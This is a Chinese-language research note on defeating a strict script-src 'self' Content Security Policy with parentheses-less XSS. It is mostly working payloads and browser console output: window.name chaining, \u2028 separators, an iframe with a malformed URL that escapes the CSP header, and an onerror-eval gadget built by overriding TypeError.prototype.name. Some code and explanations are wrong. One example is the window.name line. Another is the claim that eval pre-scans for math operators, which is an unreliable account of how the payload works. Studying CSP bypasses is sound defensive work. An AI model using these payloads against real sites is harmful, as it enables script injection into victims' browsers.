使用无括号的XSS绕过CSP策略研究

 

学习基于Arbitrary Parentheses-less XSS against strict CSP policies 这篇文章,文章中包含了很多技巧

研究目标

绕过一个严格CSP策略

default-src ‘self’;
script-src ‘self’;

 

技巧点一,无CSP的前提下执行任意XSS payload

window.name=eval(alert(1))

location=name

说明:

window.name是可以跨域的,这恶意网站上设置window.name,再让受害者访问有xss漏洞的网站,注入xss payload,location=name,即可在有长度限制前提下,执行任意的xss代码。

这个操作绕不过CSP。

 

技巧点二,javascript分割符号替代分号

\u2028 \u2029

eval('x=123\u2028alert(x)')

 

技巧点三,注入任意的HTML代码到网页中

方法展示,这里思路多变,根据实际情况来决定

http://example.com/?test=<img/src="x"/onerror=alert(23)>

document.body.innerHTML=location.search;    //document.referrer

document.body.innerHTML=document.body.innerText;
document.body.innerHTML="&ltimg src=x onerror=alert(23)&gt"
document.body.innerHTML=document.body.innerText
document.body.innerHTML="\u003cimg src=x onerror=alert\u002823\u0029\u003e";

 

技巧点四,绕过CSP策略

响应头不返回CSP头的方法

发送400请求,响应头中将不设置CSP头

通过 iframe发送%GG或者%2f 解析错误

构造绕过方法如下

document.body.innerHTML="<iframe name=x src=%GG>"
x.eval("alert(location.href)")

其实是不成功的,原因如下:

这个方法只能在chromium中成功,iframe在等待加载的过程中,其实加载的是about:blank,然而在浏览器机制中,about:blank的空白页会继承父页面的CSP策略,会阻止script的执行。

在firefox中执行结果如下:

document.body.innerHTML=”<iframe name=x src=%GG>“;x.eval(“alert(location.href)”)

Uncaught EvalError: call to eval() blocked by CSP <anonymous> debugger eval code:1
debugger eval code:1:53

Content Security Policy: 页面设置阻止读取位于 eval 的一项资源(“script-src”)。 debugger eval code:1:52

Uncaught TypeError: rules_ul is null displayRules https://harderxss.terjanq.me/script.js:77

<anonymous> https://harderxss.terjanq.me/script.js:85
EventListener.handleEvent* https://harderxss.terjanq.me/script.js:81

<anonymous> https://harderxss.terjanq.me/script.js:88

script.js:77:13

Uncaught TypeError: hof is null displayHoF https://harderxss.terjanq.me/script.js:30

<anonymous> https://harderxss.terjanq.me/hof?cb=displayHoF&t=26640459:1

在chrome中执行成功:

document.body.innerHTML=”<iframe name=x src=%2f>“;x.eval(“alert(location.href)”)
undefined
VM317:1 GET https://harderxss.terjanq.me/%2f 404 (Not Found)

iframe加载后about:blank继承父页CSP,使用onload回避该问题

寻找突破方法:

转变思路,在加载过程中执行script,其实就是用onload方法

document.body.innerHTML="<iframe id=x src=data:,1>"
x.onload=atob

这里onload了javascript的atob方法,使页面报错,报错信息如下:

document.body.innerHTML=”<iframe id=x src=data:,1>“
x.onload=atob
ƒ atob() { [native code] }
security.php#:1 Uncaught TypeError: Illegal invocation

修改自定义报错信息,为执行任意xss代码作铺垫

既然报错,可以自定义报错信息,使用如下命令:

TypeError.prototype.name="alert(1)"

自定义onerror方法,这里使用javascript的特性定义了一个方法

onerror=e=>console.log(e)

上面onerror方法定义等价于:

onerror(e){
return console.log(e)
}

该方法将报错信息在控制台打印。

结合一下,代码如下:

document.body.innerHTML="<iframe id=x src=data:,1>"
x.onload=atob
TypeError.prototype.name="alert(1)"
onerror=e=>console.log(e)

执行,结果如下:

document.body.innerHTML=”<iframe id=x src=data:,1>“
x.onload=atob
TypeError.prototype.name=”alert(1)”
onerror=e=>console.log(e)
e=>console.log(e)
VM190:4 Uncaught alert(1): Illegal invocation
security.php#:1 Uncaught alert(1): Illegal invocation

绕过CSP执行任意xss代码

上面定义了onerror的行为,是在console打印错误内容,为了达到执行xss代码的,以下代码先获取一个对象,然后获取全局函数eval,将eval赋值给onerror,然后把错误信息设置为恶意的xss payload,从而达到执行任意代码的目的。

document.body.innerHTML="<iframe id=i src=%GG>"
i.onload=atob
onerror=i.contentWindow.eval
TypeError.prototype.name="-alert(1);var Uncaught//"

// TypeError.prototype.name="alert(1)"  //

这里有一个注意点,-alert(1) 和 alert(1),下一行代码是无法正确执行的,这里需要说明下eval()的特性:

eval在执行字符串前,会先检测有没有数学运算符号,有的话会尝试将数学运算符号的对象转换成num值,比如eval(“2+3”)就会返回5

而eval(“alert(1) +alert(1)”) 就会执行两次alert命令,所以某种意义上来说,数学运算符号,可以当做命令字符串中的分割符号。

(完)